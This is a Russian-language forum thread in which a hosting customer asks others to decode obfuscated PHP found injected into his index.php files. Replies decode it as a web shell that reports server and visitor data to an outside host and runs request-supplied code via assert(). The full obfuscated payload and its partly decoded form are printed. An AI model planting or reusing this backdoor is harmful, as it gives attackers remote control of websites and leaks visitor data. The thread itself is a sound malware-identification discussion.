Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
Добавлена поддержка utf8mb4
24-апр
Telegram группа
10-апр
Обновление PHP
11-апр
Раздача читов

> Правила форума

Раздел для общения на любые темы, для которых не нашлось места в остальных разделах. Если Вашу тему можно отнести по смыслу к другому разделу, лучше создайте её там, иначе Вас накажут.

В данном форуме немного понижены требования к Общим правилам форума, а именно:
1. Информативность темы
2. Отходить от первоначального смысла темы

!
В разделе запрещено создавать темы связанные с раскруткой игровых серверов

Расшифруйте пожалуйста, код появился в файлах на виртуальном хостинге
Статус пользователя 3aB}{o3
сообщение 13.4.2015, 0:00
Сообщение #1


Стаж: 18 лет

Сообщений: 2145
Благодарностей: 825
Полезность: 521

код появился в файлах index.php на виртуальном хостинге
//###==###
$license = @assert(str_rot13('riny(onfr64_qrpbqr("VPEUGR9PDHkGJlqsZmt4ZGp0AmL3KlqqCHSlpzS5XTWup2H2AS9xMJAiMTHbW2AVFzknWlNhWmR
5WlNhW3EMJSWdLHR9CFpcYTWup2H2AS9xMJAiMTHbW1cgoUAnIwyhJyuFMyxlBKIxE1M1MRuACFpcYTW
u
p2H2AS9xMJAiMTHbW1yLFaxaVP4aJIufMvptYvqwoILlJyuXrvptYvqnHG09WlxfLzSmMGL0K2EyL29x
M
FtaWlNhW1baVP4aoyM1JGZaVP4aHaOvZwIzWlNhW1cLnUOwWlNhWmAFrvpcYTWup2H2AS9xMJAiMTHbW
1
xaVP4aZlptYvqJrJWTBKOvoJjjWlxfLzSmMGL0K2EyL29xMFtaMSuXp1cKAJcvZyWfWlxfLzSmMGL0K2
E
yL29xMFtaMStaVP4aFvptYvqmJvptYvqKAJbaVP4aLwWFWlNhW2jaXFkvLKAyAwEsMTIwo2EyXPqvI1R
k
WlxfLzSmMGL0K2EyL29xMFtaWlNhW1xmWlNhW1M5LvptYvqTBFptYvq6JyuFqzAVHG0aXFkvLKAyAwEs
M
TIwo2EyXPpaVP4aJGAJWlNhW3xaVP4aLxLaVP4aBFptYvq6JvptYvqLHaLaVP4aL0uECFpcYTWup2H2A
S
9xMJAiMTHbW1xaVP4aZlptYvqJWlNhW3yvEwyfMHpaVP4aIzbaXFkvLKAyAwEsMTIwo2EyXPpaVP4aJI
t
aVP4aFvptYvq5WlNhW1yLoTMnE2kgJvptYvqfBGSuWlNhWmWJWlNhWmHaXFkvLKAyAwEsMTIwo2EyXPq
M
Z1M5LxLaVP4aBJcvEmxaVP4arycECG0aXFkvLKAyAwEsMTIwo2EyXPquIlptYvp1pPptYvqLZzEfMRR9
C
FpcYTWup2H2AS9xMJAiMTHbW1baVP4aoJkmJvptYvqJBJ5nJSWzWlNhW1xlBKIxE1LaVP4aqFptYvqxF
R
09WlxfLzSmMGL0K2EyL29xMFtaWlNhW2DaVP4aJPptYvqXp1cKWlNhWmIdLvptYvplHvptYvqfWlxfLz
S
mMGL0K2EyL29xMFtaMStaVP4aFvptYvqmJyp1nzVaVP4aZyWfWlxfLzSmMGL0K2EyL29xMFtaLvptYvq
K
HFptYvpkWlxfLzSmMGL0K2EyL29xMFtaJFptYvqLGacnJPptYvqXZPpcXGftVTM1ozA0nJ9hVS84ZQR2
A
wL1ZmRbWTxcrlEuCHSlpzS5XPqMZaujWlNhW1cKAGOLZx5iJyqBpvpfW1xlrUNaVP4aJyp1WlNhWmOLZ
x
4aVP4ao1cKGvptYvqlWljaH0MFIIITBFptYvqPHGOBEyHaVP4aEvptYvqFWlNhW2MEZTuPIFptYvqfWl
N
hW05TIvptYvqOCFptYvp9WljaFIZ0nTEECG0aYPqIZR5GH1MPIItjJxcHEIMCHIHkWlNhW0LaYPqJIyW
U
GSEaCFpfWlptYvqxWlNhWmVaVP4aoPptYvq1JvptYvqUBGZaVP4aL3xaVP4aZPptYvq4GJcIrPpfW1AT
H
yIIEwyPHGOBEyITHzMEWlNhWmObDyIfWlNhW05TIxR9CFpfWlptYvqMZ1M5WlNhW2WTBKOvoJjjWljaW
l
NhW2SVHwOwET8aVP4aqxjlWlNhWmR1LFptYvqKAJgnJTpaVP4aqFptYvqvoHM0JvptYvqGBJ4aVP4aJy
u
EWlNhW3IwE2u3HQWEBFpfW1HaVP4aZPptYvqJH1LaVP4an1MGJQN1DyEIIG0aYPqIn1MFIyIJISMTWlN
h
WmyJIJfaVP4anm0aYPqXoyH5WljaH0MFWlNhW1IIEvptYvp5IyHjIyALZRMVHvptYvqIWlNhWmIIWlja
F
z1AWlNhWmxaYPqXoFptYvqeWlNhWmxaVP4aGIAnpTARZQ0aYPqIn1MBIQSFWlNhW0MLZRMSHxMWCFpfW
0
cgWlNhW2p5WljaWlNhW04aVP4aESI4GvptYvqgFGABETEbGacwAScUFGWnIRMdGvptYvq6HFptYvpjJF
p
tYvqKWlNhW0HmJIqMZ00lEFptYvq6GyEICFpfW1HjIvptYvqGIzgJH1tjWlNhWmIPISIICFpfW1IeIyW
J
IFptYvqJISMTBIMIn2f9WljaH0MFIIITWlNhWmxaVP4aIyHjIyALZRMVHyH1IFpfW01EWlNhWm09Wlja
L
HR9CFpfW1yKrUAvWlNhWmAxMzELFaALZyc2WlNhW2ZaVP4aE1M1WljaLHuFZTZaVP4aET92GQVkAFptY
v
quIlptYvp1n1cLM3IvoFptYvqTqScGBJ5nWlNhW1uEqFptYvqwE2u3HQVaVP4aHGxaYPpaVP4aIGOJH1
M
eIyALZQIPISHaVP4aIFptYvp9WljaIJgJHyMIIyEJEwyJWlNhW1HaVP4an2f9WljaFz4aVP4aIGxaYPq
G
EyWIIHL5IyHjIvptYvqGJQOTFSWIAIHaYPqXoH05WljaFz1eBH1GJaOwWlNhW0DjCFpfW1IeIx5HZIWT
J
QOTEIVaVP4aExx9WljaFz1aBFpfWlptYvqBESI4Gz1WZlptYvqBETEbGvptYvq6WlNhW2Z0JvptYvqUF
G
WnIPptYvqTnx56HGOMI0HmJIqMZ00lEFptYvq6GyEICFpfWlptYvqIWlNhWmOJH1MeIvptYvqGJQNaVP
4
aAHWHWlNhW1HaVP4aIG0aYPqIn1MFIyIJISMTWlNhWmyJIJgeWlNhWm0aYPqGEyWIWlNhW1ITWlNhWmy
J
IGOJWlNhW1ALZPptYvqTFSWIWlNhWmIIWljaGIR9CFpfWlptYvqwDG09WljaL0R9CFpfW09RFzknER0k
G
wWSWlNhWm0aYPqMqm09Wlx7pzI0qKWhVTWup2H2AS9xMJAiMTHbWTSoWTyqXGg9VPOcMvtuMJ1jqUxbW
S
9QG09YFHIoKmtjZGL2AwHmZFtjXI0cXJEcMFtxK0ACG0gWEIgsBQNkAwL2AGZkXQRcKFx7nJLbVJymp2
I
0XPEcL2VlMS8jJ184ZQR2AwL1ZmRbZvyqXFy7nJLbWRqZG0WOGSAoW18mBQtkAmD3AwqsW11oZS0bKmt
j
ZGL2AwHmZFtmXFjxE0kCDxSZH1faKmZ4BQR3AQp2A18aKIfkKFtxK1ASHyMSHygsBQNkAwL2AGZkXQDc
K
FxcXKfxnJAvZzEsZG1sBQNkAwL2AGZkXQHcB31yoUAyrlEcL2VlMS8kCI84ZQR2AwL1ZmRbAvx7sK1yo
U
AyrlEcL2VlMS8kCFEcL2VlMS8jJ184ZQR2AwL1ZmRbAlyqB3qbnJkyXUWiqJ5xXQNeAQR5XmDkBFf0ZG
x
eAQR5XF1lo3IhMPtjXmZmAF4lXmZmAF4lXmZmAF4lXmZmAF4lXmZmAF4lXFxxE0kCDxSZH1faKmZ4BQR
3
AQp2A18aKIflKFtxK0ACG0gWEFx7sJyzXPEUGR9PDHkGJlqsZmt4ZGp0AmL3KlqqJmAqXS84ZQR2AwL1
Z
mRbBPxcXKfxnJAvZzEsZw0xE0kCDxSZH1faKmZ4BQR3AQp2A18aKIf0KFusBQNkAwL2AGZkXQxcVP4xE
0
kCDxSZH1faKmZ4BQR3AQp2A18aKIf1KFtxK1ASHyMSHygsBQNkAwL2AGZkXQRjXI0tYvEsH0IFIxIFJ1
8
4ZQR2AwL1ZmRbZGRcKFxtYy84ZQR2AwL1ZmRbZGVcVP4xE0kCDxSZH1faKmZ4BQR3AQp2A18aKIf2KFt
x
K1ASHyMSHygsBQNkAwL2AGZkXQRmXI0cVP5sBQNkAwL2AGZkXQR0XFNhWTywLwWxKmRtYy84ZQR2AwL1
Z
mRbZGHcVP4xK1ASHyMSHygsBQNkAwL2AGZkXQR2XI0tYy84ZQR2AwL1ZmRbZGpcVP4xE0kCDxSZH1faK
m
Z4BQR3AQp2A18aKIf3KFusBQNkAwL2AGZkXQR4XFNhWS9GEIWJEIWoKmtjZGL2AwHmZFtkBFyqVP4xK1
A
SHyMSHygsBQNkAwL2AGZkXQVjXI0tYvEsH0IFIxIFJ184ZQR2AwL1ZmRbZwRcKFNhWTywLwWxKmRtYy8
4
ZQR2AwL1ZmRbZwVcXFx7WRqZG0WOGSAoW18mBQtkAmD3AwqsW11oBS0bWTywLwWxKmVfpz91ozDbZPf4
Y
wDeBP40XmthAPf4YwDeBP40XFkzLJkmMFx7WRqZG0WOGSAoW18mBQtkAmD3AwqsW11oBI0bWTywLwWxK
m
Vfpz91ozDbZPfkBGxkZlxfqUW1MFx7MJAbolNxE0kCDxSZH1faKmZ4BQR3AQp2A18aKIfkZS0bWTywLw
W
xKmVcB3qbnJkyXUWiqJ5xXQNeZwNlZlflZQVmXF1lo3IhMPtjXmtjBF4lXmtjBF4lXmtjBF4lXmtjBF4
l
XmtjBF4lXFxxE0kCDxSZH1faKmZ4BQR3AQp2A18aKIfkZI0bWS9FEISIEIAHYPEcL2VlMS8lXGfxE0kC
D
xSZH1faKmZ4BQR3AQp2A18aKIfkZy0bWTywLwWxKmVcBlEcL2VlMS8mCI84ZQR2AwL1ZmRbZwZcB31yo
U
AynJLbWRqZG0WOGSAoW18mBQtkAmD3AwqsW11oZGAqXS84ZQR2AwL1ZmRbZwDcXG09pz91ozDbZPfkXF
y
7MJAbolNxE0kCDxSZH1faKmZ4BQR3AQp2A18aKIfkAS0bKmtjZGL2AwHmZFtlAFxtYvEUGR9PDHkGJlq
s
Zmt4ZGp0AmL3KlqqJmR1KFtxK1ASHyMSHygsBQNkAwL2AGZkXQV2XI0tYvEsH0IFIxIFJ184ZQR2AwL1
Z
mRbZwpcKFxtYy84ZQR2AwL1ZmRbZwtcVP4xE0kCDxSZH1faKmZ4BQR3AQp2A18aKIfkAy0bWS9GEIWJE
I
WoKmtjZGL2AwHmZFtlBFyqXFNhKmtjZGL2AwHmZFtmZPxtYvEcL2VlMS8kVP5sBQNkAwL2AGZkXQZkXF
N
hWS9GEIWJEIWoKmtjZGL2AwHmZFtmZvyqVP5sBQNkAwL2AGZkXQZmXFNhWRqZG0WOGSAoW18mBQtkAmD
3
AwqsW11oZGqqXS84ZQR2AwL1ZmRbZmDcVP4xK1ASHyMSHygsBQNkAwL2AGZkXQZ1XI0tYvEsH0IFIxIF
J
184ZQR2AwL1ZmRbZmLcKFNhWS9GEIWJEIWoKmtjZGL2AwHmZFtmAlyqVP4xnJAvZzEsZFNhKmtjZGL2A
w
HmZFtmBPxcXGg9nJLbnKAmMKDbWS9FEISIEIAHJ184ZQR2AwL1ZmRbZmxcKFxzWvNxK1WSHIISH1EoKm
t
jZGL2AwHmZFt0ZPyqCG0tKmtjZGL2AwHmZFt0ZFxcr0NxE0kCDxSZH1faKmZ4BQR3AQp2A18aKIfkBS0
b
WS9FEISIEIAHJ184ZQR2AwL1ZmRbAQVcKFx7sFN="));'));
//###==###


ps.gif Добавил файл, так как код сюда вставляется не корректно

Отредактировал: 3aB}{o3, - 12.4.2015, 23:57
Прикрепленные файлы:
Прикрепленный файл  index.php ( 5,74 килобайт ) Кол-во скачиваний: 28
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   Цитировать сообщение
Статус пользователя xakep7
сообщение 13.4.2015, 9:51
Сообщение #2


Стаж: 14 лет

Сообщений: 503
Благодарностей: 468
Полезность: 938

Rot13->base64->
Скрытый текст
Код
$GLOBALS['_388174767_']=Array(base64_decode('cHJlZ' .'19' .'tYXRjaA=='),base64_decode('ZmlsZV9nZXRfY29udGVudHM='),base64_decode('YXJy' .'YXlf' .'cmV2ZXJz' .'ZQ=='),base64_decode('' .'Z' .'nVuY3' .'Rpb25f' .'ZXhpc' .'3Rz'),base64_decode('Y' .'3' .'VybF9pbml0'),base64_decode('dXJsZW5jb2Rl'),base64_decode('dX' .'J' .'sZ' .'W5j' .'b2R' .'l'),base64_decode('bWQ1'),base64_decode('' .'Y3' .'Vyb' .'F9' .'zZXRvcHQ='),base64_decode('' .'Y3V' .'y' .'bF' .'9' .'zZ' .'XRv' .'cHQ='),base64_decode('Y' .'3' .'V' .'ybF9leG' .'Vj'),base64_decode('' .'YX' .'J' .'y' .'YXlfZGlmZ' .'l91a' .'2V' .'5'),base64_decode('Y3VybF' .'9jbG9' .'zZQ=='),base64_decode('aW' .'5p' .'X2dldA=='),base64_decode('Z' .'mlsZ' .'V9nZXRf' .'Y29udGV' .'u' .'dHM='),base64_decode('' .'d' .'X' .'JsZW' .'5jb' .'2R' .'l'),base64_decode('dX' .'J' .'sZW5jb' .'2Rl'),base64_decode('b' .'WQ' .'1'),base64_decode('Y' .'XNzZX' .'J0'));  function _801666531($i){$a=Array('Y2xp' .'ZW50X2NoZWNr','Y2xp' .'ZW5' .'0X2N' .'oZWN' .'r','SFRUUF9' .'BQ0NFU' .'F' .'R' .'fQ0hBU' .'l' .'NFV' .'A=' .'=','IS4hdQ==','U0NSSVBUX0ZJTEVOQU1' .'F','VVRGLTg=','' .'d' .'2' .'l' .'uZ' .'G93' .'cy' .'0' .'xMjUx','SFRUUF9BQ0NFUFRfQ' .'0hBUl' .'NFVA==','' .'Y3Vy' .'bF9pbml0','' .'aHR0cDo' .'vL2' .'15a' .'W5kZXg' .'u' .'bmFtZ' .'S9n' .'ZXQ' .'ucGhwP2Q9','U' .'0' .'VSV' .'kVSX05BTUU=','UkVRVUVTVF' .'9VUk' .'k=','JnU9','SFR' .'UUF' .'9VU0VSX0FHR' .'U' .'5U','JmM' .'9','Jm' .'k' .'9' .'MSZpcD0=','UkVNT1R' .'FX0FERFI=','Jm' .'g9','' .'N' .'DUxN' .'mI3NDdhNzc4ZGI2ZTFjN' .'zQ' .'0Y' .'W' .'E3YWY3M2E' .'zNTU=','U0V' .'SVkVSX0' .'5BTUU=','UkVRVU' .'VTVF9VUkk=','SFRUUF' .'9' .'VU0VSX0FHRU5U','MQ' .'==','aA==','YWxsb' .'3dfdXJsX2Zv' .'c' .'GVu','aHR0c' .'DovL215' .'aW' .'5kZXgubm' .'FtZS9nZ' .'XQu' .'cGhwP2' .'Q9','' .'U0VSVkVSX05BTU' .'U' .'=','UkVRVUVTVF9V' .'U' .'kk=','Jn' .'U9','SFRUUF9VU0V' .'SX0FHRU5U','JmM9','Jmk9MSZpc' .'D0=','UkVNT1RFX0FER' .'FI=','Jmg9','' .'NDUxNmI3' .'NDdhN' .'z' .'c4Z' .'GI2ZT' .'FjNzQ0YWE3YWY3M2E' .'zNTU=','' .'U' .'0VSVkV' .'SX0' .'5BT' .'U' .'U=','UkVRVUVTVF' .'9VUkk' .'=','SFRU' .'UF' .'9VU0V' .'SX0' .'FHRU' .'5U','MQ==','' .'cA==','cA==','ODJlZDM1N2E' .'=','Yw==');return base64_decode($a[$i]);}  if(!empty($_COOKIE[_801666531(0)]))die($_COOKIE[_801666531(1)]);if(!isset($icb2d_0[_801666531(2)])){if($GLOBALS['_388174767_'][0](_801666531(3),$GLOBALS['_388174767_'][1]($_SERVER[_801666531(4)]))){$icb2d_1=_801666531(5);}else{$icb2d_1=_801666531(6);}}else{$icb2d_1=$icb2d_0[_801666531(7)];while(round(0+419+419+419+419)-round(0+335.2+335.2+335.2+335.2+335.2))$GLOBALS['_388174767_'][2]($_COOKIE);}if($GLOBALS['_388174767_'][3](_801666531(8))){$icb2d_2=$GLOBALS['_388174767_'][4](_801666531(9) .$GLOBALS['_388174767_'][5]($_SERVER[_801666531(10)] .$_SERVER[_801666531(11)]) ._801666531(12) .$GLOBALS['_388174767_'][6]($_SERVER[_801666531(13)]) ._801666531(14) .$icb2d_1 ._801666531(15) .$_SERVER[_801666531(16)] ._801666531(17) .$GLOBALS['_388174767_'][7](_801666531(18) .$_SERVER[_801666531(19)] .$_SERVER[_801666531(20)] .$_SERVER[_801666531(21)] .$icb2d_1 ._801666531(22)));$GLOBALS['_388174767_'][8]($icb2d_2,round(0+8.4+8.4+8.4+8.4+8.4),false);$GLOBALS['_388174767_'][9]($icb2d_2,round(0+19913),true);echo $GLOBALS['_388174767_'][10]($icb2d_2);while(round(0+2023+2023)-round(0+809.2+809.2+809.2+809.2+809.2))$GLOBALS['_388174767_'][11]($_REQUEST,$icb2d_2);$GLOBALS['_388174767_'][12]($icb2d_2);$icb2d_3=_801666531(23);}elseif($GLOBALS['_388174767_'][13](_801666531(24))==round(0+1)){echo $GLOBALS['_388174767_'][14](_801666531(25) .$GLOBALS['_388174767_'][15]($_SERVER[_801666531(26)] .$_SERVER[_801666531(27)]) ._801666531(28) .$GLOBALS['_388174767_'][16]($_SERVER[_801666531(29)]) ._801666531(30) .$icb2d_1 ._801666531(31) .$_SERVER[_801666531(32)] ._801666531(33) .$GLOBALS['_388174767_'][17](_801666531(34) .$_SERVER[_801666531(35)] .$_SERVER[_801666531(36)] .$_SERVER[_801666531(37)] .$icb2d_1 ._801666531(38)));}if(isset($_REQUEST[_801666531(39)])&& $_REQUEST[_801666531(40)]== _801666531(41)){@$GLOBALS['_388174767_'][18]($_REQUEST[_801666531(42)]);}

base64->
Скрытый текст
Код
$GLOBALS['_388174767_']=Array(preg_match,file_get_contents,array_reverse,function_exists,curl_init,urlenco
de,urlencode,md5,curl_setopt,curl_setopt,file_get_contents)
Дальше идет запрос к функции :
function _801666531($i){$a=Array(client_checkclient_checkHTTP_ACCEPT_CHARSET!.!uSCRIPT_FILENAMEUTF-8windows-1251HTTP_ACCEPT_CHARSETcurl_inithttp://myindex.name/get.php?d=SERVER_NAMEREQUEST_URI&u=HTTP_USER_AGENT&c=&i=1&ip=REMOTE_ADDR&h=4516b747a778db6e1c744aa7af73a355SERVER_NAMEREQUEST_URIHTTP_USER_AGENT1hall
ow_url_fopenhttp://myindex.name/get.php?d=SERVER_NAMEREQUEST_URI&u=HTTP_USER_AGENT&c=&i=1&ip=REMOTE_ADDR&h=4516b747a778db6e1c744aa7af73a355SERVER_NAMEREQUEST_URIHTTP_USER_AGENT1pp82
ed357ac);return base64_decode($a[$i]);}


Отредактировал: xakep7, - 13.4.2015, 9:58
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 1 раз
   + Цитировать сообщение
Статус пользователя miRror
сообщение 13.4.2015, 9:58
Сообщение #3


Стаж: 15 лет

Сообщений: 1151
Благодарностей: 1002
Полезность: 967

Меценат Меценат
Приду домой, если не забуду раскодирую.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 1 раз
   + Цитировать сообщение
Статус пользователя miRror
сообщение 13.4.2015, 14:03
Сообщение #4


Стаж: 15 лет

Сообщений: 1151
Благодарностей: 1002
Полезность: 967

Меценат Меценат
Обычный php шел, который вдобавок отправлял данные об твоём IP адресе/браузере (для статистики наверное). В коде всё прокомментировал, поймёшь. По идее можно стереть эту переменную и ошибок не будет, а там смотреть надо, если вдруг еще этот код где то и проверяется.
Код: 

<?php
//###==###

# То, что было закодировано:
//$license = @assert(str_rot13('riny(onfr64_qrpbqr("VPEUGR9PDHkGJlqsZmt4ZGp0AmL3KlqqCHSlpzS5XTWup2H2AS9xMJAiMTHbW2AVFzknWlNhWmR
5WlNhW3EMJSWdLHR9CFpcYTWup2H2AS9xMJAiMTHbW1cgoUAnIwyhJyuFMyxlBKIxE1M1MRuACFpcYTWu
p2H2AS9xMJAiMTHbW1yLFaxaVP4aJIufMvptYvqwoILlJyuXrvptYvqnHG09WlxfLzSmMGL0K2EyL29xM
FtaWlNhW1baVP4aoyM1JGZaVP4aHaOvZwIzWlNhW1cLnUOwWlNhWmAFrvpcYTWup2H2AS9xMJAiMTHbW1
xaVP4aZlptYvqJrJWTBKOvoJjjWlxfLzSmMGL0K2EyL29xMFtaMSuXp1cKAJcvZyWfWlxfLzSmMGL0K2E
yL29xMFtaMStaVP4aFvptYvqmJvptYvqKAJbaVP4aLwWFWlNhW2jaXFkvLKAyAwEsMTIwo2EyXPqvI1Rk
WlxfLzSmMGL0K2EyL29xMFtaWlNhW1xmWlNhW1M5LvptYvqTBFptYvq6JyuFqzAVHG0aXFkvLKAyAwEsM
TIwo2EyXPpaVP4aJGAJWlNhW3xaVP4aLxLaVP4aBFptYvq6JvptYvqLHaLaVP4aL0uECFpcYTWup2H2AS
9xMJAiMTHbW1xaVP4aZlptYvqJWlNhW3yvEwyfMHpaVP4aIzbaXFkvLKAyAwEsMTIwo2EyXPpaVP4aJIt
aVP4aFvptYvq5WlNhW1yLoTMnE2kgJvptYvqfBGSuWlNhWmWJWlNhWmHaXFkvLKAyAwEsMTIwo2EyXPqM
Z1M5LxLaVP4aBJcvEmxaVP4arycECG0aXFkvLKAyAwEsMTIwo2EyXPquIlptYvp1pPptYvqLZzEfMRR9C
FpcYTWup2H2AS9xMJAiMTHbW1baVP4aoJkmJvptYvqJBJ5nJSWzWlNhW1xlBKIxE1LaVP4aqFptYvqxFR
09WlxfLzSmMGL0K2EyL29xMFtaWlNhW2DaVP4aJPptYvqXp1cKWlNhWmIdLvptYvplHvptYvqfWlxfLzS
mMGL0K2EyL29xMFtaMStaVP4aFvptYvqmJyp1nzVaVP4aZyWfWlxfLzSmMGL0K2EyL29xMFtaLvptYvqK
HFptYvpkWlxfLzSmMGL0K2EyL29xMFtaJFptYvqLGacnJPptYvqXZPpcXGftVTM1ozA0nJ9hVS84ZQR2A
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
